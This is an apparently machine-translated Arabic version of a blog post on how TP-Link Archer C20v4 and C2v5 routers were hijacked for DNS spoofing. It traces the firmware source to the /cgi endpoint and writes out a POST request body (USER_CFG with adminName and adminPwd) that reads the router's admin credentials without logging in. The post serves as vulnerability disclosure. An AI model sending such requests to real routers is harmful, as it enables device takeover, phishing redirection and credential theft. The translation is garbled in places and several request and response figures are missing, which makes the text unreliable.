بعد اختراق tp-link

القرصنة مع انتحال DNS هي طريقة هجوم شائعة إلى حد ما. في المقام الأول بسبب بساطته. جوهر الهجوم هو تغيير عنوان DNS في إعدادات شبكة الضحية إلى عنوان خادم DNS للمهاجم من أجل إعادة ip false. علاوة على ذلك ، من يهتم كثيرًا - من صفحات التصيد الاحتيالي للشبكات الاجتماعية لسرقة كلمات المرور إلى كعب مزود الخدمة المفترض مع متطلبات الدفع.

الشيء الأكثر إثارة للاهتمام في كل هذا ، أفكر في الطرق التي تصل بها البوتات ، بطريقة أو بأخرى ، إلى أجهزة التوجيه. واليوم سأتحدث عن واحدة من هذه الأساليب.

ماذا لدينا:

  1. جهاز التوجيه Archer c20v4 الجديد تمامًا ، مع وجود أحدث البرامج الثابتة الرسمية.
  2. عنوان IP خارجي على واجهة wan وفتح الوصول إلى الويب.
  3. كلمة المرور معقدة بما يكفي لعدم القلق بشأن اختيارها ودائرة محدودة من الأشخاص الذين يعرفونها.
  4. بعد يوم: انتحال نظام أسماء النطاقات وجميع الطلبات يتم لفها على كعب.

ما تحتاجه:
تعرف على كيفية الوصول إلى الجهاز.

بادئ ذي بدء ، على مريض اختبار ، تم اختبار جميع الأخطاء القديمة المعروفة التي تم العثور عليها في Google. بالطبع ، لا شيء يعمل.

تم العثور على برنامج نصي على github ( tyk ) والذي يسمح لك بتنفيذ الأوامر عن بعد على طرازي C20i و C2 من الجذر. ليس قليلاً ما نحتاجه ، ولكن حدد الاتجاه الصحيح.

جميع الوظائف لها نفس "shell" للطلبات - هذه هي طلبات POST لعنوان url / cgi؟ 2 (و 7) ، " [اسم_الإعداد # 0،0،0،0،0،0،0 # 0،0،0،0،0 ، 0] " ومحيل خاص.

قم بتنزيل الكود المصدري لبرامجنا الثابتة من الموقع الرسمي tp-link وفكها. لأن خط الموجهات هو نفسه ، ثم يجب أن يكون البرنامج على الأقل مشابهًا قليلاً ، أليس كذلك؟

جريب
grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true); 


البنغو يشير اسم الملف إلى أنه سيكون مثيرًا للاهتمام أكثر من ذلك. نجد في الشفرة سطرًا رأينا فيه "cgi؟ 2" العزيزة. فيما يلي الوظيفة الكاملة:

doSetUsrName
  function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); } 


هذه الوظيفة ، عند تنفيذها ، تستدعي أخرى - getUsrName ().

وظيفة تسجيل الدخول:

getUsrName
  function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); } 


ولكن لا تفعل شيئا مع تسجيل الدخول. نحن مهتمون بكلمة مرور. نحن نعلم أن تسجيل الدخول يتم تخزينه في متغير adminName ، داخل كائن USER_CFG. أعطى بحث في المصدر النتائج التالية: (سأترك النتيجة المطلوبة فقط)

الناتج Grep
 grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml 


افتح مخفف بيانات _model.xml وابحث عن جزء التعليمات البرمجية التالي فيه:

XML
 <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg> 


هنا قمنا بتخزين المتغير المعروف بالفعل "AdminName" وبجانبه - AdminPwd. تبدو الحقيقة.

الآن علينا فقط تشكيل طلب POST الصحيح ، الذي نحتاج إلى الرد عليه بالبيانات اللازمة لجهاز التوجيه. ننتقل مرة أخرى إلى البرنامج النصي من github ونرى كيف يتم ذلك هناك:

البيانات
 data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" ) 


عن طريق القياس ، نشكل طلبنا:

البيانات
 "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n" 


ثالثا ترسل. في Wireshark ، تبدو الحزمة كما يلي:

طلب


ننظر إلى الجواب:

الجواب


سوف يلاحظ القارئ اليقظ أن طلب POST تم إرساله إلى "/ cgi؟ 1" ، وليس كما في البرنامج النصي إلى "/ cgi؟ 2". هذا صحيح. نحتاج فقط لمعرفة كلمة المرور. بعد تلقي البيانات للترخيص ، يمكنك بالفعل المشاركة في عار موحد.

تسجيل الدخول:

الحصول على طلب


ولدينا بالفعل تفويض بنسخ أي بيانات لا نعتبرها مهمة إلا من خلال البحث في ملف selected_data_model.xml:

طلب


الجواب


طلب


الجواب


في الوقت الحالي ، تمت إزالة الرموز المصدر لجهاز التوجيه C20v4 من موقع Tp-Link وتم نشر رموز V5 بدلاً من ذلك. ولكن للأسف ، لا توجد برامج ثابتة رسمية حتى الآن.

الخبر السار: لا يتم استغلال هذه الثغرة الأمنية إلا إذا كان الوصول إلى الويب مفتوحًا للجميع.
الأخبار السيئة: روبوتات شخص ما تطرق بالفعل على العناوين الخارجية بالطلبات الصحيحة.

بالإضافة إلى طراز ArcherC20V4 ، يتأثر نموذج ArcherC2V5 أيضًا بهذه الثغرة الأمنية .

Source: https://habr.com/ru/post/ar419071/


All Articles